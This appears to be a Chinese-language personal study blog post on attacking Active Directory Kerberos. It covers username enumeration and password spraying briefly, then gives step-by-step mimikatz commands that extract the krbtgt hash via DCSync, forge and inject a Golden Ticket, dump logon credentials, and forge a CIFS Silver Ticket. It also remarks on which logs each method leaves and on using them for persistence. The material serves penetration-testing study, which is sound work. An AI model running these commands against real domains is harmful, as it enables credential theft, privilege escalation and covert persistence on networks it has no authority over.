域渗透学习笔记五:攻击Kerbroes

用户名遍历

回顾Kerbroe的认证流程第一步:

  • 1.Client请求Kerberos服务(请求中包含了Client Name 也就是用户名),如果主机名存在于ad中,就放回TGT给Client

如果Web测试做的多就知道第一步就存在用户名遍历问题。

DomainPasswordSpray

票据伪造

Golden Ticket

AS_REP里面的ticket的encpart是使用krbtgt的hash进行加密的的来的,krbtgt用户的hash也是可以提取出来的,这就意味着ticket是可以自己计算出来的。Golden Ticket就是自己计算TGT去生成的TGS,换在买车票的比喻中就相当于伪造身份证去买票。

Golden Ticket价值和域控相似

伪造条件:

  • Domain SID
  • Domain name
  • 需要krbtgt用户的hash
  • 用户名随意

伪造过程

1.获取krbtgt hash

mimikatz "lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt" "exit" > krbtgthash.txt

2.生成票据文件

mimikatz "kerberos::golden /admin:CoolCat /domain:adstudy.com /sid:S-1-5-21-290613818-3246529070-3099575750 /krbtgt:b0164177afec62432418903208c1e247 /ticket:golden.kiribi"  "exit"

其中sid最后一个“-”之后的要去掉,这个很细节。

3.将票据文件导入内存

mimikatz "kerberos::purge" "kerberos::ptt golden.kiribi" "kerberos::list" "exit"

图中红线前后为导入金票前后的权限差异。

值得一提的是目前这个金票只能在域内使用使用,不能跨域,涉及到跨域,域森林时该金票就被局限了,不过可以配合SIDHistory去生成包含根域的金票。

可参考:http://t3ngyu.leanote.com/post/7697c6e55644

Silver Tickets

已知目标机器的NTLM hash和域SID时,可以伪造任意用户访问目标机器上的指定服务。其过程不会与KDC通信,因此不会再KDC上留下任何痕迹,只会在目标机器和本机留下日志。可以利用的服务:

服务注释 服务名称
WMI HOST&RPCSS
Powershell Remoteing HOST&HTTP
WinRM HOST&HTTP
Scheduled Tasks HOST
LDAP、DCSync LDAP
Windows File Share(CIFS) CIFS
Windows Remote Server Administration Tools RPCSS&LDAP&CIFS

伪造条件

  • Domain SID

  • Domain name

  • 目标机器的NTLM hash

  • 任意用户

    伪造过程:

    导出目标机器的hash:

mimikatz "privilege::debug" "sekurlsa::logonpasswords"  "exit" > hash.txt
mimikatz "kerberos::golden /domain:adstudy.com /sid:S-1-5-21-290613818-3246529070-3099575750 /target:bot.adstudy.com /service:cifs /rc4:b0f256f8b3bca01555101864efef02ac /user:silver /ptt" "exit"

伪造成功后可使用klist查看票据,指令中伪造的服务是cifs,即Windows File Share(CIFS),在域内机器上测试的,本身就没限制,所以伪造了银票也没啥子用,就不截图了,如果伪造其他有权限限制机器上的服务即可越过限制。

总结

金票权限大,但是要过kdc,会留下日志。
银票局限在特定服务内使用,不过kdc,只在域服务机器上留下日志。

两者分别去读hash时都需要管理员权限,这是致命的缺陷,在攻击过程中就出现:

"有管理权限就可以直接读管理密码了,要金票银票何用?"

可以用在权限维持上。

参考文章:

域渗透-权限维持之 Silver Tickets
域渗透-Ticket

一个热爱域渗透/WAF绕过/免杀/代码审计/工具开发的憨批